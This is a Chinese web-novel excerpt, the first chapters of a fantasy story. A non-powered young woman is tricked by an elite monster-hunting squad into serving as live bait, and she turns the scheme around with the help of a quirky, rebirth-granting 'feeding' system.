《反派堆里她“小饭桌”开的飞起》 1. 镀金行动 “你真幸运。” 易果坐得笔直,严肃地盯着右侧膝盖上小小的破洞,没有立刻意识到对方是在跟自己说话。因为过往人生中,她和这个词汇产生关联的机会,实在太少。 她暗搓搓用食指把她二手作训服上的破洞堵住,刚松口气,发现裤缝也烂出个长口子,正悄咪咪伸手盖住,前面副驾驶上又是一声“喂!” 易果猛一个激灵,抬头瞧见坐在副驾驶上的络腮胡壮汉,特遣队里大家都叫“张哥”那位,正黑着脸瞪她。 “虽说局里公益岗收的都是多少有点残疾的非异能者,但我记得你不是个聋子吧。” “没,没有。”易果慌的差点从座位上站起来,刚一张嘴又习惯性地闭紧嘴巴。 她嘴唇小而肉实,鼻头微翘,长得圆头圆眼,却习惯直愣愣地盯人。像只时刻好奇的鸟,带着股精与呆杂糅的矛盾气质。 张哥人格分裂般又拍着椅背哈哈大笑,“逗你呢,瞧你吓得。知道你只是个结巴,没别的毛病,先前我们都调查过。” “所以我说你幸运。” 他半个身子都扭向易果,越野车里宽敞,易果和他之间还隔着几个身位,但那牛蛙般健硕的大胳膊肘子比比划划地,眼看要招呼到易果脸蛋上。 易果小心翼翼呼吸,生怕吹到对方胳膊上的毛毛。 “申请进我们三队的人那么多,你在里面呢,说实话,资质一般,但你看,我们队长偏偏就选中你了,是不是特幸运。” 易果麻雀一样歪头思索,在张哥的逼视下赶快点点头。 “就你们这种人现在的处境,我们队长给谁机会就是救谁的命,你说对不对?” 易果又点头。 “所以你必须得好好回报我们,干好交代给你的任务。” 易果再次用力点头,于是张哥又一扭,顺势把手送到易果脸前,拇指和食指一捏,意味不明的笑起来。 车里包括三队队长在内,其余人都没做声,但易果分明感到一股无形重压。她屏住呼吸,眼神飘忽,照葫芦画瓢也捏出一个,“比,比心。” “啊?” 只一个语气词,易果立刻老实了,鹌鹑似的红着脸低下头,抠抠索索从挎包里摸出一个鼓囊囊的信封,不舍地又摸了两下,转眼被一把夺走。 镀金费。 出发前不少前辈已经暗示过易果,他们这样的人,要想跟着猎人特遣队出任务,从众多申请者中脱颖而出只是第一步,此外还要准备一大笔“镀金费”孝敬队里,不然就算上了车,也随时能被踹下来。 易果给出的这笔钱,已经是她所剩不多的存款的全部,但就像张哥说的,有不少人羡慕她,说她“幸运”。 在她们“这种人”眼中,镀金是个非常吉利的词儿,他们时刻都在期待“点石成金”的奇迹终有一日能降临在自己身上。 二十多年前,蚀鬼,一种古书中记载的贪食凶怪忽然从书中逃逸,以极恐怖的速度在城市中蔓延,伤人无数。后鲸杉神树从城市中复苏,似乎是出于保护人类的目的,开始向人群随机赐福。 被赐福者骨血中潜藏的神话基因被唤醒,会获得某种天赋,觉醒为异能者。异能者综合素质优于常人,很快成为对抗蚀鬼的主要战力。 随着异能者数量不断增多,非异能者逐渐沦为社会的真正“异类”。就比如易果,从上周邻居二妞觉醒了“一根手指为手机充电”的技能以后,易果就成了那栋居民楼里仅剩的非异能者。 两方数量在天平两端迅速失衡,霸凌、就业歧视的社会问题紧随其后。 连易果所在的应急管控局——前局长在位期间,曾力排众议许诺公益岗将永久保留——近期也传出了专门面向非异能者的公益岗将取消的风声。 “形势所迫,各位面前只剩两条路,要么卷铺盖滚蛋,要么想办法马上立个功,作为特殊贡献人才再被破格录用。” 每周例行晨会上,领导一句玩笑话,让局里大批非异能职员涌向了核心部门,特遣队的大门。 猎人特遣队是管控局一线战斗部门,由异能者里精英中的精英组成,专职捕猎蚀鬼及被蚀鬼同化的异能者。 对寻常人来说,一辈子都立不了的功,搁特遣队里,也就出一次任务的事。更有传言,与顶尖异能者接触的机会越多,越容易觉醒异能。 恰逢最近特遣队任务多,人手不足,正需要招临时队员,于是公益岗的可怜虫们像争抢救命稻草一样奔向特遣队,光递申请还不够,还要上杆子刷脸,日夜蹲守,讨好做尽。易果也是其中一员。 但易果又与大家都不同,她最终成功坐上了特遣队的车,成了那名被众人羡慕的“幸运儿”。 “还算上道。”张哥满意地颠了颠易果厚实的信封,扭脸跟后排队长对了个眼神,开始交代易果今天的具体工作,“接下来我说的每个字你都听好——” 三队这次接到的命令,是前去清扫一片封闭多年的禁区。在蚀鬼爆发潮期间,那里曾是特遣队与蚀鬼的交战前线,后因发生大规模爆炸,存在有毒物质泄漏的可能,因此被封禁。 如今这么多年过去,解封期已到,上面派三队去禁区清扫可能存在的漏网之鱼,确保安全后,将重新征用这片土地。 “抓到的‘鱼’越多,分摊到每个人头上的功劳就越大,这样一来,某些人就有救了。” 易果听到这句话从笔记本上抬起头,眼睛亮亮,但姓张的又立马话锋一转,“可是那些玩意儿最近越来越会藏了,难抓,你说这可怎么办呐。” “嗯……”没想到会被突然发问,易果支支吾吾,抠抠手指又挠挠包。 “张铁柱。”三队队长凤一鸣自打易果上车以来,第一次出了声。她喝止张哥,让他别再吓唬易果。 张哥缩了下脖子,朝易果咧咧嘴,“所以我说你这趟非常走运,我们队可是准备了其他队都没有的秘密武器。” 说着张哥撅起两片厚嘴唇,突然“嘬嘬”两声,示意易果低头看。从座位底下迅速窜出一只机器狗,身披豹纹棉马甲,上下扫了易果几眼,张嘴“呕呕”两下,吐出一个手掌大小的金属盒。 真是默契到离奇的暗号。易果好奇地俯下身,朝优雅蹲坐在脚边的狗子瞅了又瞅。 “x型诱捕器,天宇科研集团最新研究成果,能大大提高特遣队捕猎效率。” 队长凤一鸣拿起金属盒,一双细长眼微微弯起,让人一点都看不出有没有在心虚。她刚上任不久,是名少有的咒言异能者,胸前别着一枚红色A级徽章。作为特遣队为数不多的女队长之一,近期备受关注。 带着精英群体惯有的自信和从容,她唇舌开闭间似乎传出金玉之声的悦耳回响,边说边轻拍易果的手背: “放置诱捕器是咱们这次行动最首要也最关键的一个环节,我就把这个光荣的任务……” 正说到重点,凤一鸣突然顿住,神色古怪地使劲瞥了眼易果抱在怀里的挎包。 那明黄色格子挎包眼睫毛似的上下左右挂了一圈mini小手办,跟浑身装备简单到寒酸的易果,十分割裂。人形小手办的发色,像是集齐了世间所有的荧光色,简直让人看一眼晕一眼。 纯手工乡土风……痛包? 这还不算什么,最显眼的还得是包上两行圆滚滚炫彩大字—— 花骨朵小饭桌,有荤有素,美味健康;花骨朵小饭桌,送菜上门,错过悲伤。 “兼,兼职。”易果难为情似的用胳膊挡了一下。 “噗。”不知想到什么,凤队长看着易果忽然捂嘴笑出声,低声自言自语,“选你果然合适。” 易果迟钝似的眨眨眼,陪着也笑了一下,全程盯紧凤一鸣的嘴巴,毫不掩藏眼神里的羡慕与欣赏,乖乖等人继续往下说。 就是一双手一早安静摊开,候在那里不知道在等什么。 “我们一致决定把放置诱捕器的光荣任务交给你。”凤一鸣清了清嗓子,郑重把诱捕器递给易果,正正好,就放在易果摊开的手心里。 “还不赶快说谢谢,除了我们队,谁还能这么器重你。”张哥趁机吆喝易果。 易果只腼腆地抿了抿嘴,看起来没有丝毫质疑,只有感激,小心捧起金属盒一动不敢动。 车里唯二的弱势群体,临时调来的外编司机小伙战战兢兢听了这么一路,终于听不下去。 猎人特遣队捕猎行动持续了这么多年,猎物们越来越精,最近用颜色、声音诱捕猎物的效果都不好,只剩最后一条红线无人敢跨越。各方没少在改进诱捕手段上花力气,天宇集团一有新成果面世,必遭哄抢。 但x型诱捕器,他闻所未闻,见所未见。那破铁盒里到底有没有东西都十分可疑,再加上三队黑脸白脸,对着一个外行,全队配合把一个根本不存在的东西吹上天的奇怪态度…… 小司机暗暗心惊,拼命给易果使眼色,口罩下的嘴卖力张张合合: “危——险——” “快——逃——” 很快易果注意到司机的动静,她专注地研究了一会儿人家的口型,挠挠脸蛋,试探地从衣服口袋里掏出一二三根能量棒,0添加、纯自制、口味多样,递到人家嘴边任他挑选。 防身武器一个没带,吃的反倒富裕的很。 小司机:“……?” “好好开车。”张哥把小司机抓了个现行,一个眼刀过去,截走能量棒,像摸到什么晦气东西似的甩手扔出窗外。 异能者以贪食为耻,日常三餐吃的都是高价定制的功能补剂,大多很久没碰过易果拿的这些普通人食物了。 易果不敢吭声,小伙也大气不敢再喘,蜷在驾驶位上,继续安生开车。 越野车穿过清晨的薄雾,一路朝着城市边缘疾驰。像有意给自己找补,张哥对易果指指道路前方,“咱们要去的地方,说是禁区,但也就听起来吓人,荒了这么多年了,危险系数不大。” 他们经过最后一块警示牌,到达了目的地入口——虞渊禁区。 警戒路障、黑黄相间的隔离栏、密不透风的拦截电网,车牌识别通过后,由外到内,数重障碍一一解封。 正值早春,万物萌芽,放眼望去到处嫩绿可爱,连禁区入口的铁丝网上都绕满了细嫩的爬藤。 “看看我说什么来着,就这环境,能有多大危险,眼一闭一睁咱们就……” 张哥话没说完,瞪着前方猛然闭了嘴。就在越野车完全开进禁区的瞬间,所见之处绿色尽褪,天色骤变。 易果跟着伸头往外看,远处阴沉沉的天幕中心显现出一种透明的灰白色,像个糊满哈气的巨大玻璃鱼缸,奇异的昏沉,奇异的明亮。云层深深浅浅虚实交替,像有谁的尾翼在其中热切翕动。 妄想靠近。 伺机靠近。 “他们都说虞渊就是当年前局长尸骨……是不是真的啊?”小司机哆哆嗦嗦发问,但车里没人回应。 车玻璃上迅速爬上一层诡异的黑色冰霜,如同一种不祥的预兆。在司机的嘤嘤抽泣声中,三队的各位静默片刻,各自抓紧时间埋头整理装备。但与其说是恐惧,倒不如说在他们训练有素的动作下蠢蠢欲动的,是兴奋。 “下车。” 到达预定地点,车刚停稳,队长一声令下,全员闻声而动。张哥兴冲冲大叫一声,抬脚把小司机蹬出门。易果还扒在窗户上着迷地看天,转眼也被拎着衣领甩下车。 眼前是一片庞大的城市废墟。崩塌的楼群浸没在荒草与积水中,钢筋植物般横生交错,串起城市仅剩的残骸。 “确定最佳捕猎点。” 凤一鸣尾音因为兴奋而微微颤抖,弯腰点了两下机器狗的脑袋。眨眼功夫,机器狗脑门儿上绿灯闪烁,“最佳捕猎位置已确定,现启动自动导航程序。” 一行人片刻没耽搁,立刻启程。他们拨开荒草,沿着残存的街道前行。与易果预想的不同,路程十分顺利,要不是头顶天色唬人,周遭平静的,简直让人感觉不到这里是禁区。 “好好享受现在的安宁吧。” 张哥端着把装了消音器的便携步枪,冷不丁从后面凑近易果。“奖金奖金奖金奖金……”他边嘟囔边警惕地观察周遭,脸膛发红,瞳孔微张,那是一个真正猎人的眼神,凶悍又贪婪。 易果知道,猎人特遣队待遇优渥,各类奖金补贴无上限。而高回报对应的是超高强度的竞争,他们实行末位淘汰制,猎物数量、猎物级别,都会换算成积分计入队员成绩单,人员新旧更迭非常快。捕猎,立功,是他们刻在骨子里的极致职业追求。 二十年前大规模联合作战成功以后,成熟期蚀鬼数量锐减,总体进入了相对安全的“和平期”。然而随着距离预言中的时间点越来越近,蚀鬼潮将再次爆发的传言愈演愈烈。为应对即将到来的危机,各部门急需扩充战力。 特遣队以外的人员并不知道,近期高频次的禁区行动,任务目的除了明面上的清扫以外,更重要的是“抢人头”。 即捕猎未能成功蜕变,仍处于“半人半妖”状态的失智异能者。半妖异能者,多因遭受过蚀鬼侵蚀,表现出相似的暴力暴食特性。而猎人特遣队要做的,是从中筛选出“还能救的”,助其成功蜕变为真正异能者,迅速纳入己方战力储备。 这将是一场立在血泊刀尖之上的,人力资源争夺大战。 “怎么确定这儿就一定有很多……那种‘残次品’。”易果身后的司机小伙扛着个箱子,蚊子哼哼似的,问出了易果想问的话。 半妖化异能者有着超常的食欲,逮到能吃的东西都要啃个净光,往往会在出没的地方留下不少啃咬痕迹。 但这一路看下来……易果又仔细瞧了瞧捡到手里的一大捧野花野果小嫩芽,一个牙印都没发现。 “哼。”张哥冷嗤一声,可能这会儿的确有些无聊,他瞥了眼走在前面的凤一鸣,压低声音:“从其他队已有的禁区搜捕纪录来看,禁区曾经的死伤级别越高,残存‘猎物’数量越多。” 他唾沫星子乱飞,讲了一长串什么蚀鬼碎片、亡魂怨念、真相假象、能量平衡之类的民间玄学理论,直把司机说的脸色越来越绿,眼看两条腿抖的都快走不动路了。 “所以这儿真的是,真的是当年前局长和最凶残的那批蚀鬼,同,同归于尽……”小司机牙齿也开始打颤。 “没错,”张哥低头凑近小司机,弯起嘴角,露出一口白森森的大牙,“堪称最大规模的伤亡就发生在这儿,说不定你现在走的每一步下面,都埋着尸骨呐。” 小司机“嗷”地一声瘫倒,张哥拖着人继续往前走,他始终沉浸在一种亢奋的情绪里: “看看这片沃土,这里可藏着前局长那位伟大人类英雄,为我们留下的最后遗产。我预感,这次咱们的捕猎数量,绝对会破纪录。” “你说呢,幸运儿。” 听见张哥又开始抒发感情时,易果刚从路旁半截墙沿儿上爬下来,手里捉了一个圆滚滚的石头蛋。她满意地比了比,果然跟诱捕器差不多大。正摸兜找地方藏,冷不丁被张哥薅到跟前。 “对了,你们这种人很多都把前局长当神一样崇拜吧,这次申请参加行动的人里,据说很多是想来‘朝圣’呢,想亲手摸摸前局长他老人家的纪念碑? 你呢,你不会也一样吧。” 当年众人崇敬前局长,不只因为他凭借强悍的身体天赋和卓越的头脑,带领管控局特遣队亲手处决蚀鬼无数,更因为他还是个未觉醒异能的“平凡人”。他凭借平凡人的身份,立下无人能企及的赫赫功绩,一度成为众多非异能者的精神灯塔。 然而随着前局长牺牲多年,对他的崇拜,早已沦为过时的浪潮,少有人再提起。 易果悄悄咽了咽嗓子,攥着包上的小挂件目光坚毅地摇头,在张哥转头的瞬间迅速摸了下鼻子。 “你最好不是。” 姓张的用枪口戳了几下易果的肩膀,比起提醒更像是威胁,“拿好诱捕器,一会儿到地方让你做什么就做什么,别分心,更别掉链子。” “嗯。” “别学那些土鳖‘脑残粉’,再怎么着前局长也是个死人了,神化个死人有什么意思。不少过来人说,就是因为他过于自负,在最后那次行动里决策失误,这才导致全军覆没,浪费了彻 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没等凤一鸣话说完,易果不客气地掏出一根壮实的“干粮卷”,抻头咽下一大口。 菜叶翠嫩的波浪边,花似的被易果卷在手里。水灵灵的菜心间,挤出层层堆叠的肉片汁水油亮的焦边。易果又一口下去,咬开了裹在里面的糖心蛋。 明明是随处可见的食材,但她显然自有一套搭配法则,让食物罕见地升华出了超越自身的美味和健康。 易果嚼嚼嚼嚼,腮帮子浑圆,吃的一脸虔诚,且高效。 在围剿猎物前进食可是大忌,凤一鸣清楚,但不阻止易果。甚至对易果这用心喂饱自己的行为,十分满意。 见对方瞧自己,易果愣了愣,捧起菜卷往凤队长跟前让了一下。但没等凤一鸣摆手拒绝,她就早一步收回了手,让的假模假样的。 凤一鸣皮笑肉不笑看她咽完最后一口,继续讲解: “按动开关,诱捕器会自动念诵催眠咒言,化身强力声音诱饵,引猎物上钩。而你要做的,就是亲手护送,把诱捕器放进画好的诱捕圈里。” “打开开关后你就立刻撤退,放心,很安全。”凤一鸣这样告诉易果。 留给易果一部对讲机后,她后退到十米开外的矮墙后面与张哥汇合,远程指挥易果往诱捕圈走。 司机小伙扛起陷进烂泥的机器狗,在张哥的大声呵斥下一路小跑地折返。经过易果时,易果正狼狈地从泥里拔出脚,老老实实遵照对讲机里的指令,一步一步走向诱捕圈,还开朗地对小司机摆摆手,说“再见”。 头顶天色阴沉可怖,但立于其下的易果,眼神明亮。脑袋圆圆,眼睛圆圆,明明看起来还挺聪明的。 “好端端的人,怎么脑子……” 小司机又瞄了眼易果那怪包,立刻缩起脖子撇开脸,不敢再多看,就好像易果已经是个不吉利的死人。结果躲太猛,一屁股坐进泥里,差点把易果也绊倒。 “蠢蛋,赶快爬过来!”对讲机里张哥在咆哮。“先别出声。”那边凤一鸣突然打断张哥。 易果抬眼望过去,见凤一鸣转身接了个电话,挂断后脸色发青,原地来回踱步,对张哥作了个噤声的手势。 “你觉得她电话那边说了什么。”小司机哆嗦到让易果觉得可怜,似乎此刻任何计划外的风吹草动,对他都是恐怖的折磨,“不会是上面突然通知任务难度升级,要我跟你一起……” 易果没回答,给他指指凤一鸣他们斜后方杵着的半拉破铁门,神秘兮兮眨眨眼: “一会儿,往,那儿躲。” “啊?”小司机没懂什么意思,只觉得易果的“呆”似乎显露出了一些别样的层次。在张哥又一声怒喝下,他对易果支支吾吾到底一个字没敢多说,转头连滚带爬跑走。 易果抱着生锈的金属盒,深一脚浅一脚继续向湖边的诱捕圈靠近,她被浅浅的水声包围,低头间从水洼里瞄见自己孤伶伶的倒影。 “……没想到说什么都信,笨是笨点,倒省事,队长你真会挑人……” 她胸前口袋里的对讲机忽然嘶嘶啦啦响起来,里面传出张哥和凤一鸣压低的对话声,像是那头谁不小心误触了通话开关。 “防身家伙一个没有,干粮倒是管够,还怪心疼自己的。咦那小结巴包上写的什么字,‘小饭桌送菜上门’,这不是巧了吗哈哈……” “你以为她为什么会被选中,真是幸运?没异能,结巴,家里就剩她一个,准无业游民,这样的人就算真出了事,也没人在乎。” 凤一鸣的声音全然卸去伪装,露出了冷漠又傲慢的本貌。易果脚步顿了顿,摸摸挎包,低头继续往前走。 “队长你觉得她到底信了没,就咱们的诱捕器……” “看着吧,就算不信她也会说服自己信。” “她已经到了穷途末路,那玩意儿可是咱们赏的救命稻草,她恐怕看的比自己命都重。” “她别无选择。” 听到这儿,易果扯起嘴角笑了笑,她深吸一口气,抬脚迈进诱捕圈。 高悬于头顶的时间齿轮被触发,倒计时指针又一次开始转动。 对讲机那头又一阵嘈杂响动后,再次响起凤一鸣的声音。她似乎没有发觉对讲机的异样,声音又变得轻柔温暖: “前局长的纪念碑就在不远处,你瞧,我们的英雄也在注视着你。” 易果跟着抬头看向那面歪斜的黑色石碑,似乎真有一道冷肃的目光穿过氤氲水雾在凝视自己。易果抿紧嘴唇,心头狂跳。 “好好干,我确信今天咱们三队的成绩将载入史册,而我们的功劳里一定有你一份。 行动正式开始,现在听口令,第一步,轻轻放下诱捕器。” 弯腰放下诱捕器,易果照做。 对讲机那头的声音因为过于得意,越发尖锐刺耳,“第二步,按动盒盖中心的红色按钮……” 他们势在必得。 易果听从命令抬起手,但下一刻,她抡起藏在怀里的石块狠狠砸向跟前“比她命都重”的诱捕器。在对面惊愕到失语的呼吸声中,一下又一下把她的“救命稻草”砸烂,砸碎。 发现异常,任务取消。 易果知道刚才凤一鸣接的电话里说了这几个字,不止如此,她还知道凤一鸣根本没有理会,这新上任的队长是关系户,是个精致的草包。易果知道这次任务漏洞百出,知道禁区不仅有猎物,还有着远超凤一鸣诸人控制能力之上的规模。 易果更知道,手里的诱捕器根本就是个幌子,真正的诱饵,就是她自己。 若她听话按下开关,盒子里一首跑调儿歌奏响的同时,一个自毁机关也将应声启动。她会被机关暗算,流血,成为一个难得的“活饵”。 而当大批饿疯的猎物涌入,三队发现局面失控,为了自保,会扔出强力炸弹,把易果和失控的猎物一起炸个粉碎。 这一切她已经历过。 冲击和热浪下轰然降临的骇人剧痛,似乎还在易果骨头深处嘶叫。她拼劲全力在夹缝中挣扎求生,却沦为次抛型廉价诱饵,为他人铺路,于灰烬中悄无声息消失。 高高在上的他们说,这就是非异能者的命运。但命运也让她再次站到了这里。她不仅不逃,她还要再次迈进自己的死亡节点,亲手扭转一切。 特遣队用尽手段“抢人头”“破纪录”“立大功”,但他们不识货,根本不知道虞渊禁区最无价的宝物是什么。 虞渊,太阳沉没的地方。“沉没的太阳,终有,升起的一天。因为我,又来了。” 扔掉“呲儿哇”乱骂的对讲机,易果转身面朝湖边的黑色石碑站定。身前炫丽格子挎包“睫毛”乱甩,而易果模样庄严肃穆。不再是诱饵,更像个猎人。 就是此刻了。 易果抹掉手心的汗,抡圆胳膊做出个极复杂的手势,落下时手指在包上“小饭桌”几个字前轻点三下: “呼叫,系统。” “——对不起,您所呼叫的系统已自杀。” 2. 诱饵的诱饵 嘶—— 易果尴尬地挠挠脸,有些心虚。她只得转身背对石碑,小心抚摸包上的字,讨好地,狗腿地一一抚过。红着脸颊小声念: “小饭桌啊,小饭桌,谁是这个世界上,最强大的系统,就是你,哇,就是你。” 她连念三遍,羞耻到整个人都要烧起来,脑袋里反复“自杀”的人机版电子提示音这才停止。 “虚伪。” 跟易果置气半晌的系统终于屈尊开了腔,显然易果刚才的讨好让他十分受用,但被哄好了并不妨碍他继续骂骂咧咧: “说什么都不听不听就不听,所以呢,救你就是让你重新走一遍死路的?” “救助菜鸡希望工程听说过吧。”这是当时系统跟易果说的第一句话。 那会儿易果刚被凤一鸣狗急跳墙甩出的炸弹崩碎,散逸的神志只剩下一丝丝,要不是太菜,下一步就该黑化成反派大魔头了。 但易果,满含被骗后的悲伤,眼泪都是窝囊废的形状,哀怨,悲凉,冒着鼻涕泡。 “你,骂我。”易果小发雷霆一下。 “合着只听见菜鸡了。”系统当即展现出了与易果截然不同的绝佳语言表现力,比喻排比讽刺挖苦旁征博引口若悬河,如易果的愿先把她骂了三分钟: “不是说死人最后才丧失听觉的吗,怎么水灵灵的结巴说聋就聋啦?我说救助菜鸡,我们,不儿我们身后的不可言说的你问也白搭反正我不告你的神秘势力,选中你了,救助,要救助你。” “可他们说我是个,废物,坑我,才没人救我,骗子。” “废物好啊,我们最喜欢废物了,你就是因为太废物才被选中呢,开心起来吧小废物,恭喜你此刻获得了重活一次的机会。” 这是易果有生以来听过的门槛最低的夸奖,但不得不说,她的确因此感到些许振作,“谢谢。” “好的呢宝子,为了你新的一生别又嘎的太早,我们还要为你量身定做一份神秘大礼,它能助你以一当百以少胜多,一夫当关万夫莫开,兼具非凡创意与你独特的个人特色,节能高效绿色环保……” 随话语流泻出的金色字句絮絮震颤,化作飞鸟与虫蝶,盘旋升腾又缓缓降落,覆盖易果伤口,修补她碎裂的血肉和自尊。易果像被熟悉的手掌托起,被护送到原点。 让她得以又来到此刻,她双脚所在的位置,诱捕圈的中心。 上次暗算了易果的诱捕器已经被她先一步砸烂,藏在里面的刀片崩脱,散落在泥滩上。而三队口中最尖端的“催眠咒言”——一个不知道从哪儿淘来的深紫色复古录音机,正插在泥里扯着嗓子高唱,“爸爸的爸爸叫什么……” “可真是抽象他媳妇儿把抽象送进火葬场,抽象死了!”系统嫌儿歌聒噪,暴躁要求易果把录音机踢飞。 “凶狠!大力!给他们三队点颜色看看!” “没错。” 易果单脚抬起,正颤巍巍蓄力瞄准,忽然身后三队埋伏点斜飞出一句话,重锤般狠砸在她头顶: “激活禁锢墙。” 话语瞬间将四周肉眼难以捕捉的微小力量攥到一起,又于倏忽间赋予它们新的形状。沿诱捕圈边沿即刻生长出一道无形幕墙,像笼子一样把易果困在原地。 凤一鸣插着腰,愤怒中彻底撕破假脸,站在矮墙上朝易果张狂喊话,“早防着你呢,想逃也晚了,就老实做我的‘活饵’吧。” 简易禁锢咒,一旦被施加,被圈住的范围会自动生成屏障,只进不出。虽说只是猎物幼崽友好级别,但对付易果已然十分足够。 系统恨铁不成钢,来之前他就对易果的“二次钻圈”复仇计划表达了强烈抗议,无奈易果脑袋圆又铁,气的高贵的他数次罢工但未果,“完了又完了,我就不懂了,受虐狂吗你,被炸死在这儿,让你深沉地爱上了这圈地皮?” 一边数落易果,系统一边急慌慌地翻找,试图找到破拆诱捕圈的工具,好让易果先囫囵出来。那头凤一鸣也没闲着,“桀桀”冷笑着指挥张铁柱打开备用装备箱,从里面拎出一个5L装塑料油桶。 里面装的不像油,深红色,晃动间看起来还挺粘稠。 见张铁柱将桶抗到肩上,拧松瓶口,瞄准似的面朝易果扎起马步,系统大叫完蛋,“不对劲,快躲开!” 话没落音,5L装大瓶血弹破空飞来。那瞬间易果分明有机会避开,却奇怪地站在原地没动。一大桶混杂多种动物的污血,顿时顺着易果兜头浇下。 “真他喵是山重水复疑无路,柳暗花明又一暗!” 系统随包一起上颠下跳,崩溃大骂,“为什么不躲?!这下舒服了,你又变成个热腾腾的‘活饵’啦,马上又要嘎了,这次你就彻底嘎了!” 易果从头到脚血糊呲啦,但模样莫名其妙的舒爽,拍拍胸脯,“这次,是,我自己选。” “你发癫!” 系统不听不听,“明明知道他们就是把你当个诱饵,比只新鲜大公鸡都廉价的诱饵,你个死定了的炮灰!就没见过谁为了砸个破盒子过瘾,千方百计重走死路的,总不能是爆炸前一刻,能有什么绝世大宝贝崩到你怀里……等等。” 系统的小算盘轻轻颤动,“上回你在这个破圈里被炸烂前,是不是看见什么了不得的东西了?” 易果目光灼灼盯着不远处,那立在虞渊前的黑色纪念碑。她搂紧她鼓囊囊的小挎包,有话憋不住就想往外显摆似的,凑近了狡黠地眨巴眨巴眼睛: “必须,就,就这里。我,我都有数。” 说着还一个冷酷转身,尝试朝那边墙头上的凤一鸣比划中指。 “em……你先给我别动。”但系统莫名开始心慌,它觉得感觉自己似乎忘了一件很重要的事。 湖面无波,头顶水泥色天幕像被塑料膜闷住,静的让人发慌。凝滞的空气中,易果浑身污浊的血腥气却越发鲜明,极度危险的鲜明。 一旦起了风…… 系统抓紧时间回想,然而已经来不及了。从周围荒草深处从断墙后面,隐隐传出“窸窸窣窣”的动静。 猎物已悄然而至。 不知什么时候起,湖边起了风。易果身上鲜活的气味火星子般随风散开,迅速点燃一双双藏在暗处的饥饿眼睛。 三队几人已经藏进埋伏点,提前喷在身上的阻隔剂起效,安全地抹掉了他们的气味。 凤一鸣举起望远镜,缓缓扫过那些荒草深处的暗影。身边机器狗匍匐在地上,头颅高昂,指示灯频闪,正飞快评估靠近中的猎物数量和级别。 “你们觉得一会儿能引出来几个。”张哥没憋住先开了腔。 凤一鸣不屑地笑了笑,把镜头扫向诱捕圈里的易果。 半妖状态的异能者,因被蚀鬼侵蚀后身体消耗大,会异常饥饿。猎人特遣队的都清楚,使用“活饵”引诱他们肯定效果最佳。但出于社会伦理道德考虑,上面严令禁止使用“活饵”。 然而三队今天不仅大胆用了“活饵”,还是用动物血浇大活人,浇出来的前所未有的重磅“活饵”。被困在诱捕圈的易果,就像个人形血蛋糕。身上那么多气味叠加到一起,无法想象能让猎物有多疯狂。 “照最近其他队伍的战绩看,最高纪录是六个,而我们,今天一定能把这纪录远远甩到身后。” 凤一鸣话音没落,斜前方树丛后七八个半妖异能者“噌”地窜出。 “类别蓝色水马,数量8,饥饿指数良性,受侵蚀等级可控,肉眼评估咬合力……”汇报到关键处,机器狗忽然卡顿。而那一群半人半马的异能者,已经掠过他们,甩着尾巴颠着蹄子径直朝易果冲过去了。 三队几人没有再等,这群人马里好几个毛亮皮紧,臀大肌健硕,身体状态在猎物里少有的健康,任哪个特遣队看见了都要眼馋。 “避开要害。” 凤一鸣先选中了一个体格中等的试手。张哥和另一个队员点头确认目标,趁人马闷头狂颠,张开电捕网合力将其拦截,凤一鸣紧随其后,对网中挣扎的异能者念诵育灵咒。 “……天地赋灵修,万物得生长……” 施咒成功,从妖化水马头顶长出一棵金色嫩芽,不过眨眼间,嫩芽成熟掉落,异能者缺损的神智随之复原,退去马的形态,恢复成人样。半晕半醒中,仍不甘心地吧唧着嘴,口水流出老长。 “三队‘收割人头’数量+1,猎物级别B,请再接再厉。”机器狗跟在几人身后,叼着把红色小旗子激动乱窜。 凤一鸣几人互相看了一眼,迅速锁定下一个目标。第二个,第三个……他们配合默契,前追后堵屡屡得手,越发的上头。可当五花大绑的猎物在湖边堆成小山,他们抬头看见又一波猎物狂颠而来时,谁都笑不出来了。 “几,几个了。”凤一鸣弯腰撑住腿,哑着嗓子问脚边机器狗。 才没多大功夫,她念咒念的舌头发直,连腮帮子似乎都方出一圈。 机器狗像打了鸡血,红色小旗子挥出残影,“数量8,再接再厉,再接再厉。” “去你爹的再接再厉!”张铁柱把机器狗踢开,扯开领口,一边喘着粗气一边说,“队长,有点不对劲。” 不是有点不对劲,是十分不对劲。第二波猎物才刚到,眼看不远处第三波就又露了头。想起刚才电话里“发现异常”的警告,凤一鸣眼中露出一丝恐慌,嘴上却说: “怕什么,一切都在我的掌握中。” 然而下一刻他们的队伍就被又一波人马冲散。凤一鸣倒霉撞上一个大力后腿蹬,摔倒时扭歪了脚脖子,当即大喊:“掩护我,快掩护我,踢我脸了。” 局面迅速朝着失控方向发展。人马群撞开断墙,牙齿咬碎一切障碍,拆路机般在湖边踏出一道道凶悍深沟。 看势头不对,凤一鸣脸面也顾不上,一瘸一拐先一步往远离诱捕圈的方向逃,命令三队立刻撤退。 “她身上血味再大,她也就一个人,等那些家伙把她吃完,就得来啃咱们了。” 像已经听见追赶来的蹄子声,三队几人屏住呼吸回头看。诱捕圈那边乌泱泱的一大片,马屁股挤挤挨挨,早就看不见易果的身影。 不知道谁磕磕巴巴说了句,“这么多张嘴,恐怕早已经渣都不剩了。” “那就先下手为强。” 凤一鸣抹掉手心的冷汗,俯下身,咬牙按动藏在机器狗马甲下的按钮。机器狗后背缓缓打开,亮出了凤一鸣此行的终极手段—— “战斧”强力炸弹。 “这次任务没有什么活饵,只怪她运气不好,一来就遇上了最危急的情况,而且她贪功,不听指挥才被失控异能者重伤致死,都明白我意思吗?” 凤一鸣面孔慌乱到有些狰狞,她咽了咽嗓子,正要开口命令机器狗瞄准湖边引爆炸弹。这时几人身后,小司机从半拉破铁门后面伸出头,半遮住嘴,疯狂往诱捕圈的方向比划: “快看那儿!” 接连几声嘶鸣后,里三层外三层围住诱捕圈的异能者们忽然齐刷刷倒下,易果安然立在原地,竟毫发无伤。 易果抬起眼直勾勾看源源不断奔向自己的水马大群,冷静中更多的是亢奋。不是诱饵,分明是个猎人。 ……就是姿势有点怪。 “她在干什么?”凤一鸣推开张铁柱往前走了一步,难以置信地瞪大了眼。 诱捕圈里,易果高举一把“嗡嗡”充电小风扇,生怕自己身上的血糊味儿飘的不够远似的,360度绕着自己朝外吹。那动静让人分外眼熟,跟老街上卖馋嘴鸭的店老板架着摇头扇吹自家热腾腾香喷喷的油炸大铁锅的招数,完全一模一样。 诱客,这厮竟在嚣张诱客。 这正是救助菜鸡希望工程针对易果的处境,为她量身打造的大礼——“小饭桌”系统,又名投喂赋能系统。 